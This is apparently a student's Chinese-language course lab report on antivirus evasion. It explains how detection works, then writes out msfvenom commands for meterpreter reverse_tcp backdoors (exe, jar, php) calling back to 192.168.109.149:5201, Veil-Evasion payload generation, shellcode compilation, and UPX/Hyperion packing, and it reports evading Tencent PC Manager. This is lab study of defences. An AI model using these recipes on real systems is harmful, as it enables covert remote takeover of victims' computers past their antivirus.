Exp3 免杀原理与实践 Week5 - 20165201
Exp3 免杀原理与实践 Week5 - 20165201
(由于图片比较大,看的时候需要关闭侧边栏~)
学习目标
(1)正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
(2)通过组合应用各种技术实现恶意代码免杀(0.5分)
(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
学习内容
- 通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力
实验环境
- macOS Mojave
- Kali
- Windows7
基础问题回答
1、杀软是如何检测出恶意代码的?
- 基于特征码的检测:简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
- 启发式恶意软件检测:启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 优点:
- 可以检测0-day恶意软件
- 具有一定通用性
- 缺点:
- 实时监控系统行为,开销稍多
- 没有基于特征码的精确度高
- 优点:
- 基于行为的恶意软件检测:最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2、免杀是做什么?
- 使用一些技术手段对恶意软件做处理,让它不被杀毒软件所检测。同时,免杀也是渗透测试中需要使用到的技术。
3、免杀的基本方法有哪些?
-
改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
-
改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
-
非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
实验步骤
1、免杀效果实测
1.1 恶意代码生成工具
- 恶意代码功能也是重复类似的,程序员最不屑于做的就是同样的代码写多次。所以就产生了恶意代码的生成工具,可以用原始的功能代码按需组合生成不同的可执行文件,现加上不同的免杀手段。常见的如msfvenom,veil-evasion,backdoor-factory等。
对于这种情况,AV厂商当然是要尽量找到如msfvenom生成软件的特征,而不是搜集所有生成结果的特征了。其结果就是只要msfvenom生成的exe就会检测到,不管你是用了什么编码器,迭代编码的多少次。
在免杀过程中,我们就会使用这样的工具来生成恶意代码,并测试其免杀效果。
1.2 免杀效果的评价
1.2.1 VirusTotal、Virscan
集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
如果上传的程序所有软件都杀不出来,virustotal就会把它交给AV厂商们了,然后...在杀毒库更新前,你还可以使用一段时间。
Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它自己开发了自己的行为分析引擎。太慢,还没试用。
https://www.virustotal.com/
http://www.virscan.org/
1.2.2 免杀效果参考基准
msfvenom直接生成meterpreter可执行文件,检出率为46/57。57个扫描引擎中有46中把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了
1.3 Msfvenom
1.3.1 Msfvenom使用编码器
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里呀。
编码后呢,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。
我们编码一次的命令如下(-e参数为编码):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.109.149 LPORT=5201 -f exe > 5201encoded.exe
之后我们可以通过VirusTotal或Virscan这两个网站进行检测,看看能被多少杀软检测出来。
啊,检出率是51/72,那我们再试试多编码几次!
命令如下(比之前多加个 -i 10):
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.109.149 LPORT=5201 -f exe > 5201encoded10.exe
为啥不好使呢???结果居然和上面的一样!
原因呢?
- shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。
- 还有模板。模板就是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。曾经有一段时间,只要换了模板,就可以对所有AV免杀。现在这招不行了。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。
1.3.2 Msfvenom生成jar等其他文件
- 我们可以用下面的命令生成jar文件:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.109.149 LPORT=5201 x> 20165201_backdoor_java.jar
然后来测试一下能不能免杀:
效果还不错哦~
- 我们可以用下面的命令生成php文件:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.109.149 LPORT=5201 x> 20165201_backdoor.php
同样测试一下能不能免杀:
这个效果非常好!!!只有3个杀软检查出来了!
1.3 Veil-Evasion
Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。免杀效果比较好。官网上有视频教程。
- 我们首先使用
sudo apt-get update
命令和sudo apt-get upgrade
命令进行更新 - 用
sudo apt-get install veil
命令安装Veil - 之后使用
veil
命令打开Veil,输入y
继续安装直至完成
啊我终于成功了,出错了好几次........服了,被疯狂针对
-
输入
use evasion
,进入veil-evasion
-
输入
list
,可查看可生成文件的格式
-
输入命令
use c/meterpreter/rev_tcp.py
进入配置界面
-
依次输入
set LHOST 192.168.109.149
和set LPORT 5201
设置反弹连接IP和端口
-
输入
generate
生成文件,再设置playload的名字:payload5201
-
我们先用Windows7上的腾讯电脑管家来检测一下,看看是不是能查出来
还真查出来了 -
然后我们用Virus Total来检测一下,看看有多少杀软能检测出来
效果其实还不错了啊
1.4 用shellcode编程生成后门程序
-
用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.109.149 LPORT=5201 -f c
生成一段shellcode
-
然后我们用vim命令创建一个文件20165201.c,然后将unsigned char buf[]赋值到其中,内容如下:
-
使用命令
i686-w64-mingw32-g++ 20165201.c -o 20165201.exe
编译这个.c文件为可执行文件
-
惯例,我们来检测一下,首先是腾讯电脑管家
哈哈哈哈居然没查出来! -
然后是virus totals
-
接下来我们试一下回连!
可惜失败了
1.5 加壳
-
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
-
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
-
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
-
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
-
MSF的编码器使用类似方法,对shellcode进行再编码。
从技术上分壳分为:
- 压缩壳
- 减少应用体积,如ASPack,UPX
- 加密壳
- 版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机
- 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
1.5.1 使用压缩壳(UPX)
-
我们给之前的20165201.exe加个壳得到20165201_upx.exe:
-
腾讯电脑管家的结果是没有查出来
-
然而在virus totals 上有不到一半的查出来了诶
1.5.2 加密壳(Hyperion)
-
将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/
目录中 -
进入目录
/usr/share/windows-binaries/hyperion/
中 -
输入命令
wine hyperion.exe -v 20165201_upx.exe 20165201_upx_Hyperion.exe
进行加壳:
-
腾讯电脑管家的结果是依然没有查出来
-
在virus totals 上有46/69的杀软查出来了,为啥会这样呢???
1.6 通过组合应用各种技术实现恶意代码免杀
-
我们可以使用
msfvenom -l encoders
查看可以使用的编码器来生成不同的后门
-
之后使用一种编码方式生成一个迭代多次的c语言shellcode数组,然后再生成exe文件,之后加壳:使用压缩壳(UPX)和加密壳(Hyperion)
-
上面的思路我还没试,但是使用之前的Veil,c/meterpreter/rev_tcp.py生成的exe可执行文件加UPX压缩壳可以成功逃过腾讯电脑管家!!!
-
然后在kali上监听并回连
不贴图了就
1.7 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实验环境:对方电脑为 win7虚拟机,腾讯电脑管家
具体方法为:使用之前的Veil,c/meterpreter/rev_tcp.py生成的exe可执行文件加UPX压缩壳
这个也先不贴图了
遇到的问题
我在装veil的时候,缺少Python3.4的包,然后我运行了下面的命令进行补救:
git clone https://github.com/Veil-Framework/Veil
cd Veil/config/
./setup.sh
啊啊啊啊啊,就是这个东西!!
搞了我好久。。。